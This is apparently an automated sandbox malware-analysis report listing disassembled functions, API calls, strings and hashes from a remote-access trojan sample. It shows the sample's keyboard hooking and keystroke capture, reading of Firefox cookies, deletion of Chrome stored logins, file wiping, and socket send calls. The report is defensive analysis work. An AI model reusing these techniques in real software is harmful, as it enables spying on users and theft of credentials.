lJD, xrefs: 00452639, 00452649, 00452709, 004526AB, 004526A0, 004526A3, 004526AE, 0045270C
lJD, xrefs: 00452745, 004526E7, 004526F2
lJD, xrefs: 00452626, 004527C5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID: lJD$lJD$lJD
API String ID: 745075371-479184356
Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
FindClose.KERNEL32(00000000), ref: 0040C47D
FindClose.KERNEL32(00000000), ref: 0040C4A8

Strings

AppData, xrefs: 0040C358
\cookies.sqlite, xrefs: 0040C409
\Mozilla\Firefox\Profiles\, xrefs: 0040C36E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 1164774033-405221262
Opcode ID: d5ab99d5c8e703f78ba660c786112f6639adf047d7ea79dcf4c979a680208b30
Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
Opcode Fuzzy Hash: d5ab99d5c8e703f78ba660c786112f6639adf047d7ea79dcf4c979a680208b30
Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2B8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
GetLastError.KERNEL32 ref: 0040A2ED

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040A33B
TranslateMessage.USER32(?), ref: 0040A34A
DispatchMessageA.USER32(?), ref: 0040A355

Strings

Keylogger initialization failure: error , xrefs: 0040A301
`#v, xrefs: 0040A2D3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
String ID: Keylogger initialization failure: error $`#v
API String ID: 3219506041-3226811161
Opcode ID: a226280b9444fdc9d85a987e0cc9a01563434beb77e8bedbb690ae4a652fbc74
Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
Opcode Fuzzy Hash: a226280b9444fdc9d85a987e0cc9a01563434beb77e8bedbb690ae4a652fbc74
Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00474EE0,?), ref: 0041C38E
DeleteFileW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C39B

Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371

GetLastError.KERNEL32(?,?,?,?,?,00474EE0,?), ref: 0041C3BC
FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3E2

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
String ID:
API String ID: 2341273852-0
Opcode ID: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
Opcode Fuzzy Hash: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68

Uniqueness

Uniqueness Score: -1.00%

Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E

Strings

PXG, xrefs: 00419CC8
8SG, xrefs: 00419BEB
NG, xrefs: 00419B25
PXG, xrefs: 00419E2E
PG, xrefs: 00419BD5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$Find$CreateFirstNext
String ID: 8SG$PXG$PXG$NG$PG
API String ID: 341183262-3812160132
Opcode ID: bef3662a98f203fd8959110ad3b8c393325e7dbc5807a61bff8cf10b28a3f201
Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
Opcode Fuzzy Hash: bef3662a98f203fd8959110ad3b8c393325e7dbc5807a61bff8cf10b28a3f201
Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0040A416
GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
GetKeyboardLayout.USER32(00000000), ref: 0040A429
GetKeyState.USER32(00000010), ref: 0040A433
GetKeyboardState.USER32(?), ref: 0040A43E
ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A461
ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4C1
ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A4FA

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
String ID:
API String ID: 1888522110-0
Opcode ID: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
Opcode Fuzzy Hash: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 0041409D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004140A9

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 0041426A
GetProcAddress.KERNEL32(00000000), ref: 00414271

Strings

SHDeleteKeyW, xrefs: 00414260
Shlwapi.dll, xrefs: 00414265

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AddressCloseCreateLibraryLoadProcsend
String ID: SHDeleteKeyW$Shlwapi.dll
API String ID: 2127411465-314212984
Opcode ID: 5c1ab5f3fb1cf2b2c54c0a1d939c6765263ff7c3c04796efd8fccf04486207c6
Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
Opcode Fuzzy Hash: 5c1ab5f3fb1cf2b2c54c0a1d939c6765263ff7c3c04796efd8fccf04486207c6
Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA

Uniqueness

Uniqueness Score: -1.00%

Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00449212
_free.LIBCMT ref: 00449236
_free.LIBCMT ref: 004493BD
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
_free.LIBCMT ref: 00449589

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 0007e75861983f1ba196b38ac0ac2f4397b59b74266b2e2cb4182d4733177f97
Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
Opcode Fuzzy Hash: 0007e75861983f1ba196b38ac0ac2f4397b59b74266b2e2cb4182d4733177f97
Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758

Uniqueness

Uniqueness Score: -1.00%

Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D

ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 0041686B
GetProcAddress.KERNEL32(00000000), ref: 00416872

Strings

PowrProf.dll, xrefs: 00416866
SetSuspendState, xrefs: 00416861
!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
String ID: !D@$PowrProf.dll$SetSuspendState
API String ID: 1589313981-2876530381
Opcode ID: 06b2ed81386eea833f57913314ae7cc45cedb7ecee8fca0ea64c9477fec69274
Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
Opcode Fuzzy Hash: 06b2ed81386eea833f57913314ae7cc45cedb7ecee8fca0ea64c9477fec69274
Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513

Strings

['E, xrefs: 004524F3, 004524CA
ACP, xrefs: 0045245A
OCP, xrefs: 00452490

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP$['E
API String ID: 2299586839-2532616801
Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398

Uniqueness

Uniqueness Score: -1.00%

Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
InternetCloseHandle.WININET(00000000), ref: 0041B41C
InternetCloseHandle.WININET(00000000), ref: 0041B41F

Strings

http://geoplugin.net/json.gp, xrefs: 0041B3B7

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead
String ID: http://geoplugin.net/json.gp
API String ID: 3121278467-91888290
Opcode ID: 4da1b85d2ea56bad142503f0f1c0f54d6a8de9b2ae8113808786c7ddc0b742be
Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
Opcode Fuzzy Hash: 4da1b85d2ea56bad142503f0f1c0f54d6a8de9b2ae8113808786c7ddc0b742be
Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
GetLastError.KERNEL32 ref: 0040BA58

Strings

UserProfile, xrefs: 0040BA1E
[Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
[Chrome StoredLogins not found], xrefs: 0040BA72

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
API String ID: 2018770650-1062637481
Opcode ID: 7df5978969732fb09709de34775d6ce1a623c26fc4145e618767f27fcf07f662
Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
Opcode Fuzzy Hash: 7df5978969732fb09709de34775d6ce1a623c26fc4145e618767f27fcf07f662
Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE

Uniqueness

Uniqueness Score: -1.00%

Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
OpenProcessToken.ADVAPI32(00000000), ref: 00417966
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
GetLastError.KERNEL32 ref: 0041799D

Strings

SeShutdownPrivilege, xrefs: 00417972

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3534403312-3733053543
Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00409258

Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,?,?), ref: 004048E0

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

__CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
FindClose.KERNEL32(00000000), ref: 004093C1

Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,00000000,00000000,?,00474EF8,?), ref: 00404E38
Part of subcall function 00404E26: SetEvent.KERNEL32(00000000), ref: 00404E43
Part of subcall function 00404E26: CloseHandle.KERNEL32(00000000), ref: 00404E4C

FindClose.KERNEL32(00000000), ref: 004095B9

Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
String ID:
API String ID: 1824512719-0
Opcode ID: f9045dcdb2f3133ff8fba91c5ff4e6bf62ac57e12963de0168c3bd7490a17388
Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
Opcode Fuzzy Hash: f9045dcdb2f3133ff8fba91c5ff4e6bf62ac57e12963de0168c3bd7490a17388
Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ManagerStart
String ID:
API String ID: 276877138-0
Opcode ID: 3fc825cdaf5b3c830df2a570b4d58928aafbb4be2e2bcb8024994744d056a879
Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
Opcode Fuzzy Hash: 3fc825cdaf5b3c830df2a570b4d58928aafbb4be2e2bcb8024994744d056a879
Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9

Uniqueness

Uniqueness Score: -1.00%

Function 00451CD8 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
_wcschr.LIBVCRUNTIME ref: 00451E4A
_wcschr.LIBVCRUNTIME ref: 00451E58
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB

Strings

sJD, xrefs: 00451DD1, 00451E19, 00451EC1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
String ID: sJD
API String ID: 4212172061-3536923933
Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00413549: RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,00000000,00000000), ref: 00413569
Part of subcall function 00413549: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 00413587
Part of subcall function 00413549: RegCloseKey.ADVAPI32(00000000), ref: 00413592

Sleep.KERNEL32(00000BB8), ref: 0040F85B
ExitProcess.KERNEL32 ref: 0040F8CA

Strings

pth_unenc, xrefs: 0040F7BD, 0040F804, 0040F871
override, xrefs: 0040F7CC
4.9.4 Pro, xrefs: 0040F836, 0040F8A3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseExitOpenProcessQuerySleepValue
String ID: 4.9.4 Pro$override$pth_unenc
API String ID: 2281282204-930821335
Opcode ID: 58c5b883e5d172f22ef58a46adbd46fba81c8570fd30b9f4b5b12bcade53b407
Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
Opcode Fuzzy Hash: 58c5b883e5d172f22ef58a46adbd46fba81c8570fd30b9f4b5b12bcade53b407
Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF

Uniqueness

